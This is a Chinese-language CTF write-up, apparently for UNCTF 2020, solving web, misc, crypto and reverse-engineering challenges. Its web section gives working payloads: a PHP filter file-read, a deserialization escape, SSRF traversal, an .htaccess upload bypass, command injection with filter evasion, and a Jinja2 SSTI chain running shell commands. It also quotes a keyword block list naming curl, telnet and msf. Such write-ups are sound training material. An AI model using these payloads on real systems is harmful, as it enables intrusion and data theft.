web
easyeval
?a=include$_GET["npfs"]?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php
base64解碼即可
easyunserialize
反序列化字符串逃逸
{s:5:"uname";s:92:"easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}";s:8:"password";i:1;}";
payload:
challengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}
easy_ssrf
考點:file_get_contents使用不存在的協議名導致目錄穿越,實現SSRF
php源碼中,在向目標請求時先會判斷使用的協議。如果協議無法識別,就會認為它是個目錄。
- FILTER_VALIDATE_URL 過濾器把值作為 URL 來驗證。https://www.runoob.com/php/filter-validate-url.html
題目中要求url中存在 unctf.com
我們可以構造類似 unctf.com/../../../ 這樣的url,又因為我們需要查看flag文件
最終payload為 url=unctf.com/../../../../../flag
ezphp
我們需要構造序列化后的username 和 password,但是我們不知道賬號密碼是什么(題目給的那個是迷惑你的)
bool類型的true跟任意字符串可以弱類型相等。因此我們可以構造bool類型的序列化數據 ,無論比較的值是什么,結果都為true
easy-upload
emmm和 De1CTF2020的check in沒啥區別似乎
perl|pyth|ph|auto|curl|base||>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!
過濾了這些東西
經過測試發現我們上傳的圖片文件不能解析,因此我們可以上傳一個.htaccess
,添加其他后綴名解析為.php
文件。如:AddType application/x-httpd-php shell.ppt
。不過由於php
字符串的過濾我們上傳的文件不能包含php
,因此我們上傳的.httacess
文件中的php
可以用換行符繞過,對於上傳了的shell.ppt
文件,如果該php開啟了短標簽我們可以用短標簽<?=
來代替<?php
UN's_online_tools
# 管道符
### windows 下
> `|`直接執行后面的語句
> `||`如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
> `&`前面和后面命令都要執行,無論前面真假
> `&&`如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令
### Linux 下
> `;`前面和后面命令都要執行,無論前面真假
> `|`直接執行后面的語句
> `||`如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
> `&`前面和后面命令都要執行,無論前面真假
> `&&`如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令
首先拿管道符測試下 127.0.0.1||ls
發現可以正確輸出,不過讀文件的時候發現部分字符被過濾了
先掃一下哪些字符被過濾了,808的這些都是被過濾了的
看了下還有less沒被過濾,空格用%09代替,一級級目錄猜過去,一猜就中,文件名是flag,不過flag被過濾了,用下正則繞過 fla?
payload如下:
easyflask
dirsearch掃目錄,/login和/register
注冊admin,登入admin,這里題目沒什么限制,可以直接注冊admin,剛開始還以為考點是flask_session。。。。
登入成功之后,回到初始頁面
提示 /secret_route_you_do_not_know
到該目錄,又提示 ‘guess' the secret number
所以 http://url//secret_route_you_do_not_know?guess={{config}}
emmm.確定為SSTI
爆破下看下哪些字符被過濾
[ __ " 這些字符都被過濾了
[] 可以用gentitem繞過,getitem的用法為:__mro__[2]== __mro__.__getitem__(2)
__ 和 "(引號)可以用|attr繞過,例:{{()|attr(request.values.name1)}}&name1=class
payload:?guess={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(117)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=class&x2=base&x3=subclasses&x4=getitem&x5=init&x6=globals&x7=builtins&x8=eval&x9=import("os").popen('cat ./flag.txt').read()
misc
baba_is_you
有個url進去看下,是b站的,評論第一條就是flag
爺的歷險記
沒啥好說的,直接拿存檔編輯器,改下金幣,到‘ 出題人商店 ’ 買下第三個hint3 就是flag
陰陽人編碼
emmm Ook編碼
“就這” 和 “不會吧” 全部替換成 Ook ,倒過來的問號改成正過來的問號
解密網址:https://www.splitbrain.org/services/ook
YLB's CAPTCHA - 簽到題
驗證碼連着輸對十次,就可以得到flag
躲貓貓
后綴改成zip , 這個目錄下 \list\xl\sharedStrings.xml
base64解碼就是flag
被刪除的flag
strings flag
撕壞的二維碼
emmmm. 直接找個正常的二維碼,補一下就好
EZ-IMAGE
網絡深處1
audacity-2.4.2打開 頻譜圖,對照表得出電話號碼
15975384265
壓縮包解密,得到的音頻拿audacity-2.4.2打開 頻譜圖,如下
Tupper自我指涉公式生成器,解密即可,腳本網址:https://github.com/HanSaloZu/Tupper-s-self-referential-formula-in-Python
https://keelyhill.github.io/tuppers-formula/這個網站可以直接得到
零
https://330k.github.io/misc_tools/unicode_steganography.html
網址直接解碼即可
你能破解我的密碼嗎
john shadow.txt
得到密碼123456
MD5 32未小寫加密即可
mouse_click
(1)使用tshark 命令把pcap的數據提取並去除空行到usbdata.txt
tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
(2) 提取出來的數據可能會帶冒號,也可能不帶,如果不帶冒號,用以下腳本加冒號
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==8:
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
加冒號類似於這樣:
00:00:01:00
00:ff:01:00
00:ff:01:00
00:ff:02:00
(3) 獲取坐標內容
#sniffer.py
nums = []
keys = open('usbdata.txt','r')
result=open('result.txt','w')
posx = 0
posy = 0
for line in keys:
x = int(line[2:4],16)
y = int(line[5:7],16)
if x > 127 :
x -= 256
if y >115 :
y -=256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 : # 1 代表左鍵,2代表右鍵
result.write(str(posx)+' '+str(-posy)+'\n')
keys.close()
result.close()
(4 ) 用gnuplot軟件來畫出鼠標生成的圖像
gnuplot -e "plot 'result.txt' " -p
倒影
010editor打開,最下面,base64解密,解出來的字符串逆序,改后綴為zip
暴力破解
ET-MSG
轉成30 X 80 的圖
按阿雷西博 1-10的加密規則,轉成數字。如下:(注那個8改成0)
7進制轉ASCII即可
crypto
鞍山大法官開庭之缺的營養這一塊怎么補
培根密碼
5個一組對出來就好了
peigenhenyouyingyang
結果最后的flag格式有點迷,提交了好多次才對
unctf{PEIGENHENYOUYINGYANG}
簡單的RSA
e很大,維納攻擊
easy-rsa
p=(a+b)/2
q=(a-b)/2
求出pq后,可以求m
求m
import gmpy2
p=164976388739628973581511063883090363893890874421691770454048880284500992179926996908823840726558454111596699286948761026319434957217223527703429627592448959262532954019810985574583860227624287638908448719207441426500367172146028171043107126122608800640249201232870138119493156975216320985668013888561826953269
q=155422298738009940394189206134042119662513162560610248399569107132538620220590060772127789136918984458521940817304671619205395736161534795149599241668486283754795346411784845057685713557075371605135986388011998610261360520650827734187124699589734496097678970899686056997267797534053934064148348759788335157899
n = p * q #模數
d = 13520637333215938186701232387959186078192441834430646200152017496580083015894693608744446669957196067379816242548412185148719678858906249430631086296059347471406865114774824686655919643954375513480029176520925196420025095437582404880108633026550155505640286905930669447727266167475328689082873003809052013145641561953548574050510799399063204788021266291024788348241346451907588463054320379080780429068578299089418923223030202618570767162875599171107099044497918583654800248238807175687675702792006125086389940138212608569298856353395124065366005586641202732989813698557545059249478652073299085605820622861917775089649
c =22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m=pow(c,d,n)
print(m)
wing
wingding2字體,對出來就好了
unctf{wingdings_is_incomprehensible}
signin
寫個腳本爆破下就好了
#!/usr/bin/python3
from string import printable
import itertools
from Crypto.Cipher import AES
from binascii import hexlify, unhexlify
pt = b'UNCTF2020_Enjoy_Crypto~'
val = len(pt) % 16
if not val == 0:
pt += b'\x00'*(16 - val)
print("pt==",pt)
yan= unhexlify(b'01a4e429e76db218fa0eb18f03ec69c9200a2362d8b4d7ea46170ce698389bbd')
print(yan)
table = {}
for p1 in itertools.product(printable, repeat=3):
key = "".join(p1)
key1 = "0000000000000"+key
cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
c1 = cipher1.encrypt(pt)
table[c1] = key1
for p2 in itertools.product(printable, repeat=3):
key = "".join(p2)
key2 = key+"0000000000000"
cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)
c2 = cipher2.decrypt(yan)
# print("c2==",c2)
if c2 in table:
key1 = table[c2]
print(key1, key2)
break
flag = b"196cc94c2d685beb54beeaa14c1dc0a6f3794d65fca0d1a1274515166e4255ab367383092e42d774992f74bc138faaad"
flag = unhexlify(flag)
for key in [key2, key1]:
cipher = AES.new(key=key.encode(), mode=AES.MODE_ECB)
flag = cipher.decrypt(flag)
print(flag)
pt== b'UNCTF2020_Enjoy_Crypto~\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x01\xa4\xe4)\xe7m\xb2\x18\xfa\x0e\xb1\x8f\x03\xeci\xc9 \n#b\xd8\xb4\xd7\xeaF\x17\x0c\xe6\x988\x9b\xbd'
done creating lookup table
0000000000000W<& 0/i0000000000000
b'>\xfe4\x00\x96\x00\x13\\\xa9\xd8\xbb\xf8\xa2D\x8a\x1e\xbe\xec\xc2[\t\xf0\xe6]\xddO;#\xb8l\xc1\xaf\xd7&\xde\x1c\x94\x9az\x01\x92b\x83\xd3/\x8c\xf4P'
b'unctf{524e314a-5843-3030-5939-333230323541}\x05\x05\x05\x05\x05'
re
往下翻
在str1那 ctrl+u
到了sub_401550函數這里
下一個函數 sub_4015DC
選擇數字 +R 即可轉化為ascii